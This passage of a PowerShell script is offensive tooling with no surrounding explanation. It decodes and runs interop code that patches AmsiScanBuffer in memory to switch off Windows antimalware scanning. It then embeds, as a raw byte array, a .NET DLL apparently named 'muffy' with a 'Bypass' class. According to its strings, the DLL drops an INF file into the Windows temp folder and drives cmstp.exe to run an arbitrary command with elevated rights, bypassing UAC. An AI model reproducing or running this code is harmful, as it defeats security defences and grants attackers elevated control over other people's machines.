0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x29, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x28, 0x00, 0x22, 0x00, 0x46, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x6C, 0x00, 0x6F, 0x00, 0x61, 0x00, 0x64, 0x00, 0x20, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x62, 0x00, 0x72, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x22, 0x00, 0x20, 0x00, 0x2B, 0x00, 0x20, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x62, 0x00, 0x72, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x7D, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x69, 0x00, 0x66, 0x00, 0x20, 0x00, 0x28, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x29, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x28, 0x00, 0x22, 0x00, 0x46, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x67, 0x00, 0x65, 0x00, 0x74, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x65, 0x00, 0x64, 0x00, 0x75, 0x00, 0x72, 0x00, 0x65, 0x00, 0x20, 0x00, 0x61, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x22, 0x00, 0x20, 0x00, 0x2B, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x7D, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x72, 0x00, 0x65, 0x00, 0x74, 0x00, 0x75, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x7D, 0x00, 0x0A, 0x00, 0x7D, 0x00, 0x0A, 0x00, 0x22, 0x00, 0x40, 0x00, 0x0A, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x2D, 0x00, 0x54, 0x00, 0x79, 0x00, 0x70, 0x00, 0x65, 0x00, 0x20, 0x00, 0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x24, 0x00, 0x66, 0x00, 0x6B, 0x00, 0x6F, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x22, 0x00, 0x30, 0x00, 0x78, 0x00, 0x42, 0x00, 0x38, 0x00, 0x22, 0x00, 0x3B, 0x00, 0x24, 0x00, 0x4A, 0x00, 0x41, 0x00, 0x4A, 0x00, 0x42, 0x00, 0x41, 0x00, 0x4F, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x22, 0x00, 0x30, 0x00, 0x78, 0x00, 0x35, 0x00, 0x37, 0x00, 0x22, 0x00, 0x3B, 0x00, 0x24, 0x00, 0x6F, 0x00, 0x65, 0x00, 0x6B, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x65, 0x00, 0x6A, 0x00, 0x46, 0x00, 0x57, 0x00, 0x43, 0x00, 0x42, 0x00, 0x42, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x22, 0x00, 0x30, 0x00, 0x78, 0x00, 0x30, 0x00, 0x30, 0x00, 0x22, 0x00, 0x3B, 0x00, 0x24, 0x00, 0x6B, 0x00, 0x66, 0x00, 0x62, 0x00, 0x6D, 0x00, 0x73, 0x00, 0x6D, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x22, 0x00, 0x30, 0x00, 0x78, 0x00, 0x30, 0x00, 0x37, 0x00, 0x22, 0x00, 0x3B, 0x00, 0x24, 0x00, 0x65, 0x00, 0x65, 0x00, 0x71, 0x00, 0x65, 0x00, 0x75, 0x00, 0x68, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x77, 0x00, 0x63, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x22, 0x00, 0x30, 0x00, 0x78, 0x00, 0x38, 0x00, 0x30, 0x00, 0x22, 0x00, 0x3B, 0x00, 0x24, 0x00, 0x6B, 0x00, 0x66, 0x00, 0x63, 0x00, 0x6D, 0x00, 0x63, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6D, 0x00, 0x75, 0x00, 0x71, 0x00, 0x68, 0x00, 0x66, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x22, 0x00, 0x30, 0x00, 0x78, 0x00, 0x43, 0x00, 0x33, 0x00, 0x22, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x24, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x69, 0x00, 0x6A, 0x00, 0x77, 0x00, 0x33, 0x00, 0x30, 0x00, 0x39, 0x00, 0x32, 0x00, 0x75, 0x00, 0x6A, 0x00, 0x66, 0x00, 0x73, 0x00, 0x6F, 0x00, 0x65, 0x00, 0x68, 0x00, 0x66, 0x00, 0x7A, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x66, 0x00, 0x65, 0x00, 0x7A, 0x00, 0x73, 0x00, 0x65, 0x00, 0x66, 0x00, 0x7A, 0x00, 0x73, 0x00, 0x66, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x5B, 0x00, 0x4D, 0x00, 0x79, 0x00, 0x55, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x43, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x5D, 0x00, 0x3A, 0x00, 0x3A, 0x00, 0x4C, 0x00, 0x6F, 0x00, 0x61, 0x00, 0x64, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x00, 0x72, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79, 0x00, 0x28, 0x00, 0x22, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x22, 0x00, 0x20, 0x00, 0x2B, 0x00, 0x20, 0x00, 0x22, 0x00, 0x73, 0x00, 0x69, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x22, 0x00, 0x29, 0x00, 0x0A, 0x00, 0x24, 0x00, 0x71, 0x00, 0x51, 0x00, 0x51, 0x00, 0x33, 0x00, 0x30, 0x00, 0x32, 0x00, 0x33, 0x00, 0x6A, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x65, 0x00, 0x69, 0x00, 0x66, 0x00, 0x6A, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x65, 0x00, 0x66, 0x00, 0x77, 0x00, 0x65, 0x00, 0x66, 0x00, 0x77, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x5B, 0x00, 0x4D, 0x00, 0x79, 0x00, 0x55, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x43, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x5D, 0x00, 0x3A, 0x00, 0x3A, 0x00, 0x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x24, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x69, 0x00, 0x6A, 0x00, 0x77, 0x00, 0x33, 0x00, 0x30, 0x00, 0x39, 0x00, 0x32, 0x00, 0x75, 0x00, 0x6A, 0x00, 0x66, 0x00, 0x73, 0x00, 0x6F, 0x00, 0x65, 0x00, 0x68, 0x00, 0x66, 0x00, 0x7A, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x66, 0x00, 0x65, 0x00, 0x7A, 0x00, 0x73, 0x00, 0x65, 0x00, 0x66, 0x00, 0x7A, 0x00, 0x73, 0x00, 0x66, 0x00, 0x65, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x22, 0x00, 0x41, 0x00, 0x6D, 0x00, 0x73, 0x00, 0x69, 0x00, 0x22, 0x00, 0x20, 0x00, 0x2B, 0x00, 0x20, 0x00, 0x22, 0x00, 0x53, 0x00, 0x63, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x22, 0x00, 0x20, 0x00, 0x2B, 0x00, 0x20, 0x00, 0x22, 0x00, 0x42, 0x00, 0x75, 0x00, 0x66, 0x00, 0x66, 0x00, 0x65, 0x00, 0x72, 0x00, 0x22, 0x00, 0x29, 0x00)
$text = [System.Text.Encoding]::Unicode.GetString($bytes)
iex $text
$p = 0
$zRij32r2 = 6
function fFJEE39fjewohjffffffffffffff2893h4efq9of78ewyghrqu2y3874erfqtgw3aei7fq63t4eir76q234refq2er {[Byte[]] ($fkoe, $JAJBAO, $oekwoejFWCBB, $kfbmsm, $eeqeuhnfwc, $kfcmcmowmuqhf)};
[MyUtilityClass]::VirtualProtect($qQQ3023jiowfoweifjiowefwefwe, [uint32]5, 0x40, [ref]$p)
$Ike3023rijweohfuoah29fhauiwoefawef = fFJEE39fjewohjffffffffffffff2893h4efq9of78ewyghrqu2y3874erfqtgw3aei7fq63t4eir76q234refq2er;
#sleep 10
[System.Runtime.InteropServices.Marshal]::Copy($Ike3023rijweohfuoah29fhauiwoefawef, 0, $qQQ3023jiowfoweifjiowefwefwe, $zRij32r2)
$decryptedbytes =[byte[]](77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,0,0,0,14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104,105,115,32,112,114,111,103,114,97,109,32,99,97,110,110,111,116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32,109,111,100,101,46,13,13,10,36,0,0,0,0,0,0,0,80,69,0,0,76,1,3,0,122,188,165,102,0,0,0,0,0,0,0,0,224,0,2,33,11,1,11,0,0,14,0,0,0,6,0,0,0,0,0,0,94,45,0,0,0,32,0,0,0,64,0,0,0,0,0,16,0,32,0,0,0,2,0,0,4,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,128,0,0,0,2,0,0,0,0,0,0,3,0,64,133,0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0,0,0,0,0,16,0,0,0,0,0,0,0,0,0,0,0,8,45,0,0,83,0,0,0,0,64,0,0,152,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,96,0,0,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,8,0,0,0,0,0,0,0,0,0,0,0,8,32,0,0,72,0,0,0,0,0,0,0,0,0,0,0,46,116,101,120,116,0,0,0,100,13,0,0,0,32,0,0,0,14,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,96,46,114,115,114,99,0,0,0,152,2,0,0,0,64,0,0,0,4,0,0,0,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,64,46,114,101,108,111,99,0,0,12,0,0,0,0,96,0,0,0,2,0,0,0,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,66,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,45,0,0,0,0,0,0,72,0,0,0,2,0,5,0,244,33,0,0,20,11,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19,48,4,0,137,0,0,0,1,0,0,17,40,4,0,0,10,23,141,6,0,0,1,19,4,17,4,22,114,1,0,0,112,40,5,0,0,10,157,17,4,111,6,0,0,10,22,154,10,114,5,0,0,112,11,115,7,0,0,10,12,8,7,111,8,0,0,10,38,8,114,37,0,0,112,111,8,0,0,10,38,8,6,111,8,0,0,10,38,8,114,41,0,0,112,111,8,0,0,10,38,126,1,0,0,4,115,9,0,0,10,13,9,114,51,0,0,112,2,111,10,0,0,10,38,8,111,11,0,0,10,9,111,11,0,0,10,40,12,0,0,10,8,111,11,0,0,10,42,0,0,0,19,48,3,0,130,0,0,0,2,0,0,17,126,2,0,0,4,40,13,0,0,10,45,2,22,42,115,7,0,0,10,10,6,2,40,3,0,0,6,111,8,0,0,10,38,126,2,0,0,4,115,14,0,0,10,11,7,114,93,0,0,112,6,111,11,0,0,10,40,15,0,0,10,111,16,0,0,10,7,22,111,17,0,0,10,7,40,18,0,0,10,38,18,2,254,21,13,0,0,1,126,19,0,0,10,12,114,103,0,0,112,40,5,0,0,6,12,8,126,19,0,0,10,40,20,0,0,10,45,232,114,115,0,0,112,40,21,0,0,10,23,42,0,0,19,48,2,0,79,0,0,0,3,0,0,17,2,40,22,0,0,10,10,6,142,105,45,6,126,19,0,0,10,42,6,22,154,111,23,0,0,10,18,1,254,21,13,0,0,1,6,22,154,111,24,0,0,10,11,7,126,19,0,0,10,40,20,0,0,10,44,6,126,19,0,0,10,42,7,40,2,0,0,6,38,7,27,40,1,0,0,6,38,7,42,86,114,131,0,0,112,128,1,0,0,4,114,108,4,0,112,128,2,0,0,4,42,30,2,40,25,0,0,10,42,0,0,0,66,83,74,66,1,0,1,0,0,0,0,0,12,0,0,0,118,52,46,48,46,51,48,51,49,57,0,0,0,0,5,0,108,0,0,0,104,2,0,0,35,126,0,0,212,2,0,0,184,2,0,0,35,83,116,114,105,110,103,115,0,0,0,0,140,5,0,0,168,4,0,0,35,85,83,0,52,10,0,0,16,0,0,0,35,71,85,73,68,0,0,0,68,10,0,0,208,0,0,0,35,66,108,111,98,0,0,0,0,0,0,0,2,0,0,1,87,21,2,20,9,0,0,0,0,250,37,51,0,22,0,0,1,0,0,0,14,0,0,0,2,0,0,0,2,0,0,0,7,0,0,0,6,0,0,0,25,0,0,0,2,0,0,0,3,0,0,0,1,0,0,0,2,0,0,0,1,0,0,0,3,0,0,0,0,0,10,0,1,0,0,0,0,0,6,0,43,0,36,0,6,0,216,0,184,0,6,0,248,0,184,0,6,0,59,1,28,1,6,0,99,1,89,1,6,0,122,1,36,0,6,0,127,1,36,0,6,0,142,1,36,0,6,0,167,1,155,1,6,0,205,1,89,1,10,0,249,1,230,1,10,0,51,2,230,1,6,0,65,2,36,0,14,0,110,2,89,2,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,16,0,20,0,0,0,5,0,1,0,1,0,22,0,50,0,10,0,22,0,89,0,10,0,0,0,0,0,128,0,150,32,58,0,13,0,1,0,0,0,0,0,128,0,150,32,69,0,19,0,3,0,80,32,0,0,0,0,150,0,100,0,24,0,4,0,232,32,0,0,0,0,150,0,111,0,29,0,5,0,120,33,0,0,0,0,150,0,119,0,34,0,6,0,233,33,0,0,0,0,134,24,135,0,39,0,7,0,211,33,0,0,0,0,145,24,176,2,161,0,7,0,0,0,1,0,141,0,0,0,2,0,146,0,0,0,1,0,141,0,0,0,1,0,155,0,0,0,1,0,155,0,0,0,1,0,172,0,17,0,135,0,43,0,25,0,135,0,39,0,33,0,135,0,48,0,41,0,104,1,53,0,57,0,135,1,57,0,65,0,149,1,62,0,73,0,135,0,39,0,73,0,181,1,69,0,73,0,135,0,48,0,73,0,188,1,75,0,9,0,196,1,82,0,81,0,210,1,86,0,81,0,223,1,29,0,89,0,135,0,48,0,65,0,10,2,103,0,89,0,17,2,48,0,89,0,31,2,109,0,97,0,59,2,114,0,105,0,72,2,121,0,105,0,77,2,124,0,113,0,119,2,130,0,97,0,128,2,143,0,97,0,147,2,39,0,97,0,155,2,150,0,9,0,135,0,39,0,46,0,11,0,165,0,46,0,19,0,174,0,92,0,135,0,154,0,78,1,0,1,3,0,58,0,1,0,64,1,5,0,69,0,1,0,4,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,22,1,0,0,4,0,0,0,0,0,0,0,0,0,0,0,1,0,27,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,1,0,36,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,1,0,89,2,0,0,0,0,0,0,0,0,0,60,77,111,100,117,108,101,62,0,109,117,102,102,121,46,100,108,108,0,66,121,112,97,115,115,0,109,115,99,111,114,108,105,98,0,83,121,115,116,101,109,0,79,98,106,101,99,116,0,73,110,102,68,97,116,97,0,83,104,111,119,87,105,110,100,111,119,0,83,101,116,70,111,114,101,103,114,111,117,110,100,87,105,110,100,111,119,0,66,105,110,97,114,121,80,97,116,104,0,83,101,116,73,110,102,70,105,108,101,0,69,120,101,99,117,116,101,0,83,101,116,87,105,110,100,111,119,65,99,116,105,118,101,0,46,99,116,111,114,0,104,87,110,100,0,110,67,109,100,83,104,111,119,0,67,111,109,109,97,110,100,84,111,69,120,101,99,117,116,101,0,80,114,111,99,101,115,115,78,97,109,101,0,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,67,111,109,112,105,108,101,114,83,101,114,118,105,99,101,115,0,67,111,109,112,105,108,97,116,105,111,110,82,101,108,97,120,97,116,105,111,110,115,65,116,116,114,105,98,117,116,101,0,82,117,110,116,105,109,101,67,111,109,112,97,116,105,98,105,108,105,116,121,65,116,116,114,105,98,117,116,101,0,109,117,102,102,121,0,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,114,118,105,99,101,115,0,68,108,108,73,109,112,111,114,116,65,116,116,114,105,98,117,116,101,0,117,115,101,114,51,50,46,100,108,108,0,83,121,115,116,101,109,46,73,79,0,80,97,116,104,0,71,101,116,82,97,110,100,111,109,70,105,108,101,78,97,109,101,0,67,104,97,114,0,67,111,110,118,101,114,116,0,84,111,67,104,97,114,0,83,116,114,105,110,103,0,83,112,108,105,116,0,83,121,115,116,101,109,46,84,101,120,116,0,83,116,114,105,110,103,66,117,105,108,100,101,114,0,65,112,112,101,110,100,0,82,101,112,108,97,99,101,0,84,111,83,116,114,105,110,103,0,70,105,108,101,0,87,114,105,116,101,65,108,108,84,101,120,116,0,69,120,105,115,116,115,0,83,121,115,116,101,109,46,68,105,97,103,110,111,115,116,105,99,115,0,80,114,111,99,101,115,115,83,116,97,114,116,73,110,102,111,0,67,111,110,99,97,116,0,115,101,116,95,65,114,103,117,109,101,110,116,115,0,115,101,116,95,85,115,101,83,104,101,108,108,69,120,101,99,117,116,101,0,80,114,111,99,101,115,115,0,83,116,97,114,116,0,73,110,116,80,116,114,0,90,101,114,111,0,111,112,95,69,113,117,97,108,105,116,121,0,83,121,115,116,101,109,46,87,105,110,100,111,119,115,46,70,111,114,109,115,0,83,101,110,100,75,101,121,115,0,83,101,110,100,87,97,105,116,0,71,101,116,80,114,111,99,101,115,115,101,115,66,121,78,97,109,101,0,82,101,102,114,101,115,104,0,103,101,116,95,77,97,105,110,87,105,110,100,111,119,72,97,110,100,108,101,0,46,99,99,116,111,114,0,0,0,3,46,0,0,31,67,0,58,0,92,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,116,0,101,0,109,0,112,0,0,3,92,0,0,9,46,0,105,0,110,0,102,0,0,41,82,0,69,0,80,0,76,0,65,0,67,0,69,0,95,0,67,0,79,0,77,0,77,0,65,0,78,0,68,0,95,0,76,0,73,0,78,0,69,0,0,9,47,0,97,0,117,0,32,0,0,11,99,0,109,0,115,0,116,0,112,0,0,15,123,0,69,0,78,0,84,0,69,0,82,0,125,0,0,131,231,91,0,118,0,101,0,114,0,115,0,105,0,111,0,110,0,93,0,10,0,83,0,105,0,103,0,110,0,97,0,116,0,117,0,114,0,101,0,61,0,36,0,99,0,104,0,105,0,99,0,97,0,103,0,111,0,36,0,10,0,65,0,100,0,118,0,97,0,110,0,99,0,101,0,100,0,73,0,78,0,70,0,61,0,50,0,46,0,53,0,10,0,32,0,10,0,91,0,68,0,101,0,102,0,97,0,117,0,108,0,116,0,73,0,110,0,115,0,116,0,97,0,108,0,108,0,93,0,10,0,67,0,117,0,115,0,116,0,111,0,109,0,68,0,101,0,115,0,116,0,105,0,110,0,97,0,116,0,105,0,111,0,110,0,61,0,67,0,117,0,115,0,116,0,73,0,110,0,115,0,116,0,68,0,101,0,115,0,116,0,83,0,101,0,99,0,116,0,105,0,111,0,110,0,65,0,108,0,108,0,85,0,115,0,101,0,114,0,115,0,10,0,82,0,117,0,110,0,80,0,114,0,101,0,83,0,101,0,116,0,117,0,112,0,67,0,111,0,109,0,109,0,97,0,110,0,100,0,115,0,61,0,82,0,117,0,110,0,80,0,114,0,101,0,83,0,101,0,116,0,117,0,112,0,67,0,111,0,109,0,109,0,97,0,110,0,100,0,115,0,83,0,101,0,99,0,116,0,105,0,111,0,110,0,10,0,32,0,10,0,91,0,82,0,117,0,110,0,80,0,114,0,101,0,83,0,101,0,116,0,117,0,112,0,67,0,111,0,109,0,109,0,97,0,110,0,100,0,115,0,83,0,101,0,99,0,116,0,105,0,111,0,110,0,93,0,10,0,82,0,69,0,80,0,76,0,65,0,67,0,69,0,95,0,67,0,79,0,77,0,77,0,65,0,78,0,68,0,95,0,76,0,73,0,78,0,69,0,10,0,116,0,97,0,115,0,107,0,107,0,105,0,108,0,108,0,32,0,47,0,73,0,77,0,32,0,99,0,109,0,115,0,116,0,112,0,46,0,101,0,120,0,101,0,32,0,47,0,70,0,10,0,32,0,10,0,91,0,67,0,117,0,115,0,116,0,73,0,110,0,115,0,116,0,68,0,101,0,115,0,116,0,83,0,101,0,99,0,116,0,105,0,111,0,110,0,65,0,108,0,108,0,85,0,115,0,101,0,114,0,115,0,93,0,10,0,52,0,57,0,48,0,48,0,48,0,44,0,52,0,57,0,48,0,48,0,49,0,61,0,65,0,108,0,108,0,85,0,83,0,101,0,114,0,95,0,76,0,68,0,73,0,68,0,83,0,101,0,99,0,116,0,105,0,111,0,110,0,44,0,32,0,55,0,10,0,32,0,10,0,91,0,65,0,108,0,108,0,85,0,83,0,101,0,114,0,95,0,76,0,68,0,73,0,68,0,83,0,101,0,99,0,116,0,105,0,111,0,110,0,93,0,10,0,34,0,72,0,75,0,76,0,77,0,34,0,44,0,32,0,34,0,83,0,79,0,70,0,84,0,87,0,65,0,82,0,69,0,92,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,92,0,87,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,67,0,117,0,114,0,114,0,101,0,110,0,116,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,92,0,65,0,112,0,112,0,32,0,80,0,97,0,116,0,104,0,115,0,92,0,67,0,77,0,77,0,71,0,82,0,51,0,50,0,46,0,69,0,88,0,69,0,34,0,44,0,32,0,34,0,80,0,114,0,111,0,102,0,105,0,108,0,101,0,73,0,110,0,115,0,116,0,97,0,108,0,108,0,80,0,97,0,116,0,104,0,34,0,44,0,32,0,34,0,37,0,85,0,110,0,101,0,120,0,112,0,101,0,99,0,116,0,101,0,100,0,69,0,114,0,114,0,111,0,114,0,37,0,34,0,44,0,32,0,34,0,34,0,10,0,32,0,10,0,91,0,83,0,116,0,114,0,105,0,110,0,103,0,115,0,93,0,10,0,83,0,101,0,114,0,118,0,105,0,99,0,101,0,78,0,97,0,109,0,101,0,61,0,34,0,86,0,80,0,78,0,34,0,10,0,83,0,104,0,111,0,114,0,116,0,83,0,118,0,99,0,78,0,97,0,109,0,101,0,61,0,34,0,86,0,80,0,78,0,34,0,10,0,32,0,10,0,0,59,99,0,58,0,92,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,115,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,92,0,99,0,109,0,115,0,116,0,112,0,46,0,101,0,120,0,101,0,0,89,99,187,244,76,159,108,65,146,128,143,90,14,26,120,242,0,8,183,122,92,86,25,52,224,137,2,6,14,5,0,2,2,24,8,4,0,1,2,24,4,0,1,14,14,4,0,1,2,14,4,0,1,24,14,3,32,0,1,4,32,1,1,8,4,32,1,1,14,3,0,0,14,4,0,1,3,14,6,32,1,29,14,29,3,5,32,1,18,37,14,6,32,2,18,37,14,14,3,32,0,14,5,0,2,1,14,14,10,7,5,14,14,18,37,18,37,29,3,5,0,2,14,14,14,4,32,1,1,2,6,0,1,18,49,18,45,2,6,24,5,0,2,2,24,24,4,0,1,1,14,7,7,3,18,37,18,45,24,6,0